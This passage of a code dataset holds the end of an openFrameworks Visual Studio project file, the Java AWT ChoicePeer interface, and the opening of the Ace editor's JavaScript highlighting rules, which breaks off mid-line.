/>\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\OscPrintReceivedElements.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\OscReceivedElements.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\OscTypes.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxXmlSettings\\src\\ofxXmlSettings.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxXmlSettings\\libs\\tinyxml.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxXmlSettings\\libs\\tinyxmlerror.cpp\" />\n\t\t<ClCompile Include=\"..\\..\\..\\addons\\ofxXmlSettings\\libs\\tinyxmlparser.cpp\" />\n\t</ItemGroup>\n\t<ItemGroup>\n\t\t<ClInclude Include=\"src\\testApp.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\src\\ofxOsc.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\src\\ofxOscArg.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\src\\ofxOscBundle.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\src\\ofxOscMessage.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\src\\ofxOscReceiver.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\src\\ofxOscSender.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\IpEndpointName.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\NetworkingUtils.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\PacketListener.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\TimerListener.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\ip\\UdpSocket.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\MessageMappingOscPacketListener.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\OscException.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\OscHostEndianness.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\OscOutboundPacketStream.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\OscPacketListener.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\OscPrintReceivedElements.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\OscReceivedElements.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxOsc\\libs\\oscpack\\src\\osc\\OscTypes.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUI.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUI2DPad.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIBiLabelSlider.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIButton.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUICanvas.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUICircleSlider.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUICustomImageButton.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIDropDownList.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIEventArgs.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIFPS.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIFPSSlider.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIImage.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIImageButton.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIImageSampler.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIImageSlider.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIImageToggle.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUILabel.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUILabelButton.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUILabelToggle.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIMinimalSlider.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIMovingGraph.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIMultiImageButton.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIMultiImageSlider.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIMultiImageToggle.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUINumberDialer.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIRadio.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIRangeSlider.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIRectangle.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIRotarySlider.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIScrollableCanvas.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUISlider.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUISpacer.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUISpectrum.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUITextArea.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUITextInput.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIToggle.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIToggleMatrix.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIWaveform.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIWidget.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxUI\\src\\ofxUIWidgetWithLabel.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxXmlSettings\\src\\ofxXmlSettings.h\" />\n\t\t<ClInclude Include=\"..\\..\\..\\addons\\ofxXmlSettings\\libs\\tinyxml.h\" />\n\t</ItemGroup>\n\t<ItemGroup>\n\t\t<ProjectReference Include=\"..\\..\\..\\libs\\openFrameworksCompiled\\project\\vs2010\\openframeworksLib.vcxproj\">\n\t\t\t<Project>{5837595d-aca9-485c-8e76-729040ce4b0b}</Project>\n\t\t</ProjectReference>\n\t</ItemGroup>\n\t<Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n\t<ImportGroup Label=\"ExtensionTargets\" />\n</Project>\n"} {"text": "/*\n * Copyright (c) 1995, 2007, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\npackage java.awt.peer;\n\nimport java.awt.Choice;\n\n/**\n * The peer interface for {@link Choice}.\n *\n * The peer interfaces are intended only for use in porting\n * the AWT. They are not intended for use by application\n * developers, and developers should not implement peers\n * nor invoke any of the peer methods directly on the peer\n * instances.\n */\npublic interface ChoicePeer extends ComponentPeer {\n\n /**\n * Adds an item with the string {@code item} to the combo box list\n * at index {@code index}.\n *\n * @param item the label to be added to the list\n * @param index the index where to add the item\n *\n * @see Choice#add(String)\n */\n void add(String item, int index);\n\n /**\n * Removes the item at index {@code index} from the combo box list.\n *\n * @param index the index where to remove the item\n *\n * @see Choice#remove(int)\n */\n void remove(int index);\n\n /**\n * Removes all items from the combo box list.\n *\n * @see Choice#removeAll()\n */\n void removeAll();\n\n /**\n * Selects the item at index {@code index}.\n *\n * @param index the index which should be selected\n *\n * @see Choice#select(int)\n */\n void select(int index);\n\n}\n"} {"text": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"], function(require, exports, module) {\n\"use strict\";\n\nvar oop = require(\"../lib/oop\");\nvar TextHighlightRules = require(\"./text_highlight_rules\").TextHighlightRules;\n\nvar DocCommentHighlightRules = function() {\n\n this.$rules = {\n \"start\" : [ {\n token : \"comment.doc.tag\",\n regex : \"@[\\\\w\\\\d_]+\" // TODO: fix email addresses\n }, {\n token : \"comment.doc.tag\",\n regex : \"\\\\bTODO\\\\b\"\n }, {\n defaultToken : \"comment.doc\"\n }]\n };\n};\n\noop.inherits(DocCommentHighlightRules, TextHighlightRules);\n\nDocCommentHighlightRules.getStartRule = function(start) {\n return {\n token : \"comment.doc\", // doc comment\n regex : \"\\\\/\\\\*(?=\\\\*)\",\n next : start\n };\n};\n\nDocCommentHighlightRules.getEndRule = function (start) {\n return {\n token : \"comment.doc\", // closing comment\n regex : \"\\\\*\\\\/\",\n next : start\n };\n};\n\n\nexports.DocCommentHighlightRules = DocCommentHighlightRules;\n\n});\n\nace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"], function(require, exports, module) {\n\"use strict\";\n\nvar oop = require(\"../lib/oop\");\nvar DocCommentHighlightRules = require(\"./doc_comment_highlight_rules\").DocCommentHighlightRules;\nvar TextHighlightRules = require(\"./text_highlight_rules\").TextHighlightRules;\n\nvar JavaScriptHighlightRules = function(options) {\n var keywordMapper = this.createKeywordMapper({\n \"variable.language\":\n \"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|\" + // Constructors\n \"Namespace|QName|XML|XMLList|\" + // E4X\n \"ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|\" +\n \"Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|\" +\n \"Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|\" + // Errors\n \"SyntaxError|TypeError|URIError|\" +\n \"decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|\" + // Non-constructor functions\n \"isNaN|parseFloat|parseInt|\" +\n \"JSON|Math|\" + // Other\n \"this|arguments|prototype|window|document\" , // Pseudo\n \"keyword\":\n \"const|yield|import|get|set|\" +\n \"break|case|catch|continue|default|delete|do|else|finally|for|function|\" +\n \"if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|\" +\n \"__parent__|__count__|escape|unescape|with|__proto__|\" +\n \"class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\n \"storage.type\":\n \"const|let|var|function\",\n \"constant.language\":\n \"null|Infinity|NaN|undefined\",\n \"support.function\":\n \"alert\",\n \"constant.language.boolean\": \"true|false\"\n }, \"identifier\");\n var kwBeforeRe = \"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\";\n var identifierRe = \"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\";\n\n var escapedRe = \"\\\\\\\\(?:x[0-9a-fA-F]{2}|\" + // hex\n \"u[0-9a-fA-F]{4}|\" + // unicode\n \"[0-2][0-7]{0,2}|\" + // oct\n \"3[0-6][0-7]?|\" + // oct\n \"37[0-7]?|\" + // oct\n \"[4-7][0-7]?|\" + //oct\n \".)\";\n\n this.$rules = {\n \"no_regex\" : [\n {\n token : \"comment\",\n regex : \"\\\\/\\\\/\",\n next : \"line_comment\"\n },\n DocCommentHighlightRules.getStartRule(\"doc-start\"),\n {\n token : \"comment\", // multi line comment\n regex : /\\/\\*/,\n next : \"comment\"\n }, {\n token : \"string\",\n regex : \"'(?=.)\",\n next : \"qstring\"\n }, {\n token : \"string\",\n regex : '\"(?=.)',\n next : \"qqstring\"\n }, {\n token : \"constant.numeric\", // hex\n regex : /0[xX][0-9a-fA-F]+\\b/\n }, {\n token : \"constant.numeric\", // float\n regex : /[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/\n }, {\n token : [\n \"storage.type\", \"punctuation.operator\", \"support.function\",\n \"punctuation.operator\", \"entity.name.function\", \"text\",\"keyword.operator\"\n ],\n regex : \"(\" + identifierRe + \")(\\\\.)(prototype)(\\\\.)(\" + identifierRe +\")(\\\\s*)(=)\",\n next: \"function_arguments\"\n }, {\n token : [\n \"storage.type\", \"punctuation.operator\", \"entity.name.function\", \"text\",\n \"keyword.operator\", \"text\", \"storage.type\", \"text\", \"paren.lparen\"\n ],\n regex : \"(\" + identifierRe + \")(\\\\.)(\" + identifierRe +\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",\n next: \"function_arguments\"\n }, {\n token : [\n \"entity.name.function\", \"text\", \"keyword.operator\", \"text\", \"storage.type\",\n \"text\", \"paren.lparen\"\n ],\n regex : \"(\" + identifierRe +\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",\n next: \"function_arguments\"\n }, {\n token : [\n \"storage.type\", \"punctuation.operator\", \"entity.name.function\", \"text\",\n \"keyword.operator\", \"text\",\n \"storage.type\", \"text\", \"entity.name.function\", \"text\", \"paren.lparen\"\n ],\n regex : \"(\" + identifierRe + \")(\\\\.)(\" + identifierRe +\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",\n next: \"function_arguments\"\n }, {\n token : [\n \"storage.type\", \"text\", \"entity.name.function\", \"text\", \"paren.lparen\"\n ],\n regex : \"(function)(\\\\s+)(\" + identifierRe + \")(\\\\s*)(\\\\()\",\n next: \"function_arguments\"\n }, {\n token : [\n \"entity.name.function\", \"text\", \"punctuation.operator\",\n \"text\", \"storage.type\", \"text\", \"paren.lparen\"\n ],\n regex : \"(\" + identifierRe + \")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",\n next: \"function_arguments\"\n }, {\n token : [\n \"text\", \"text\", \"storage.type\", \"text\", \"paren.lparen\"\n ],\n regex : \"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",\n next: \"function_arguments\"\n }, {\n token : \"keyword\",\n regex : \"(?:\" + kwBeforeRe + \")\\\\b\",\n next : \"start\"\n }, {\n token : [\"punctuation.operator\", \"support.function\"],\n regex : /(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/\n }, {\n token : [\"punctuation.operator\", \"support.function.dom\"],\n regex : /(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/\n }, {\n token : [\"punctuation.operator\", \"support.constant\"],\n regex : /(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/\n }, {\n token : [\"support.constant\"],\n regex : /that\\b/\n }, {\n token : [\"storage.type\", \"punctuation.operator\", \"support.function.firebug\"],\n regex : /(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/\n }, {\n token : keywordMapper,\n regex : identifierRe\n }, {\n token : \"keyword.operator\",\n regex : /--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,\n next : \"start\"\n }, {\n token : \"punctuation.operator\",\n regex : /[?:,;.]/,\n next : \"start\"\n }, {\n token : \"paren.lparen\",\n regex : /[\\[({]/,\n next : \"start\"\n }, {\n token : \"paren.rparen\",\n regex : /[\\])}]/\n }, {\n token: \"comment\",\n regex: /^#!.*$/\n }\n ],\n \"start\": [\n DocCommentHighlightRules.getStartRule(\"doc-start\"),\n {\n token : \"comment\", // multi line comment\n regex : \"\\\\/\\\\*\",\n next : \"comment_regex_allowed\"\n }, {\n token : \"comment\",\n regex : \"\\\\/\\\\/\",\n next : \"line_comment_regex_allowed\"\n }, {\n token: \"string.regexp\",\n regex: \"\\\\/\",\n next: \"regex\"\n }, {\n token : \"text\",\n regex : \"\\\\s+|^$\",\n next : \"start\"\n }, {\n token: \"empty\",\n regex: \"\",\n next: \"no_regex\"\n }\n ],\n \"regex\": [\n {\n token: \"regexp.keyword.operator\",\n regex: \"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"\n }, {\n token: \"string.regexp\",\n regex: \"/[sxngimy]*\",\n next: \"no_regex\"\n }, {\n token : \"invalid\",\n regex: /\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/\n }, {\n token : \"constant.language.escape\",\n regex: /\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/\n }, {\n token : \"constant.language.delimiter\",\n regex: /\\|/\n }, {\n token: \"constant.language.escape\",\n regex: /\\[\\^?/,\n next: \"regex_character_class\"\n }, {\n token: \"empty\",\n regex: \"$\",\n next: \"no_regex\"\n }, {\n defaultToken: \"string.regexp\"\n }\n ],\n \"regex_character_class\": [\n {\n token: \"regexp.charclass.keyword.operator\",\n regex: \"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"\n }, {\n token: \"constant.language.escape\",\n regex: \"]\",\n next: \"regex\"\n }, {\n token: \"constant.language.escape\",\n regex: \"-\"\n }, {\n token: \"empty\",\n regex: \"$\",\n next: \"no_regex\"\n }, {\n defaultToken: \"string.regexp.charachterclass\"\n }\n ],\n \"function_arguments\": [\n {\n token: \"variable.parameter\",\n regex: identifierRe\n }, {\n token: \"punctuation.operator\",\n regex: \"[, ]+\"\n }, {\n token: \"punctuation.operator\",\n regex: \"$\"\n }, {\n token: \"empty\",\n regex: \"\",\n next: \"no_regex\"\n }\n ],\n \"comment_regex_allowed\" : [\n {token : \"comment\", regex : \"\\\\*\\\\/\", next : \"start\"},\n {defaultToken : \"comment\"}\n ],\n \"comment\" : [\n {token : \"comment\", regex : \"\\\\*\\\\/\", next : \"no_regex\"},\n {defaultToken : \"comment\"}\n ],\n \"line_comment_regex_allowed\" : [\n {token : \"comment\", regex : \"$|^\", next : \"start\"},\n {defaultToken : \"comment\"}\n ],\n \"line_comment\" : [\n {token : \"comment\", regex : \"$|^\", next : \"no_regex\"},\n {defaultToken : \"comment\"}\n ],\n \"qqstring\" : [\n {\n token : \"constant.language.escape\",\n regex : escapedRe\n }, {\n token : \"string\",\n regex : \"\\\\\\\\$\",\n next : \"qqstring\"\n }, {\n token : \"string\",\n regex : '\"|$',\n next : \"no_regex\"\n }, {\n defaultToken: \"string\"\n }\n ],\n \"qstring\" : [\n {\n token : \"constant.language.escape\",\n regex : escapedRe\n }, {\n token : \"string\",\n regex : \"\\\\\\\\$\",\n next : \"qstring\"\n }, {\n token : \"string\",\n regex : \"'|$\",\n next : \"no_regex\"\n }, {\n defaultToken: \"string\"\n }\n ]\n };\n \n \n if (!options || !options.noES6) {\n this.$rules.no_regex.unshift({\n regex: \"[{}]\", onMatch: function(val, state, stack) {\n this.next = val == \"{\" ? this.nextState : \"\";\n if (val == \"{\" && stack.length) {\n stack.unshift(\"start\", state);\n return \"paren\";\n }\n if (val == \"}\" && stack.length) {\n stack.shift();\n this.next = stack.shift();\n if (this.next.indexOf(\"string\") != -1)\n return \"paren.quasi.end\";\n }\n return val == \"{\" ? \"paren.lparen\" : \"paren.rparen\";\n },\n nextState: \"start\"\n }, {\n token : \"string.quasi.start\",\n regex : /`/,\n push : [{\n token : \"constant.language.escape\",\n regex : escapedRe\n }, {\n token : \"paren.quasi.start\",\n regex : /\\${/,\n push : \"start\"\n }, {\n token : \"string.quasi.end\",\n regex : /`/,\n next : \"pop\"\n }, {\n defaultToken: \"string.quasi\"\n }]\n });\n }\n \n this.embedRules(DocCommentHighlightRules, \"doc-\",\n [ DocCommentHighlightRules.getEndRule(\"no_regex\") ]);\n \n this.normalizeRules();\n};\n\noop.inherits(JavaScriptHighlightRules, TextHighlightRules);\n\nexports.JavaScriptHighlightRules = JavaScriptHighlightRules;\n});\n\nace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"], function(require, exports, module) {\n\"use strict\";\n\nvar Range = require(\"../range\").Range;\n\nvar MatchingBraceOutdent = function() {};\n\n(function() {\n\n this.checkOutdent = function(line, input) {\n if (! /^\\s+$/.test(line))\n return false;\n\n return /^\\s*\\}/.test(input);\n };\n\n this.autoOutdent = function(doc, row) {\n var line = doc.getLine(row);\n var match = line.match(/^(\\s*\\})/);\n\n if (!match) return 0;\n\n var column = match[1].length;\n var openBracePos = doc.findMatchingBracket({row: row, column: column});\n\n if (!openBracePos || openBracePos.row == row) return 0;\n\n var indent = this.$getIndent(doc.getLine(openBracePos.row));\n doc.replace(new Range(row, 0, row, column-1), indent);\n };\n\n this.$getIndent = function(line) {\n return line.match(/^\\s*/)[0];\n };\n\n}).call(MatchingBraceOutdent.prototype);\n\nexports.MatchingBraceOutdent = MatchingBraceOutdent;\n});\n\nace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"], function(require, exports, module) {\n\"use strict\";\n\nvar oop = require(\"../../lib/oop\");\nvar Behaviour = require(\"../behaviour\").Behaviour;\nvar TokenIterator = require(\"../../token_iterator\").TokenIterator;\nvar lang = require(\"../../lib/lang\");\n\nvar SAFE_INSERT_IN_TOKENS =\n [\"text\", \"paren.rparen\", \"punctuation.operator\"];\nvar SAFE_INSERT_BEFORE_TOKENS =\n [\"text\", \"paren.rparen\", \"punctuation.operator\", \"comment\"];\n\nvar context;\nvar contextCache = {}\nvar initContext = function(editor) {\n var id = -1;\n if (editor.multiSelect) {\n id = editor.selection.id;\n if (contextCache.rangeCount != editor.multiSelect.rangeCount)\n contextCache = {rangeCount: editor.multiSelect.rangeCount};\n }\n if (contextCache[id])\n return context = contextCache[id];\n context = contextCache[id] 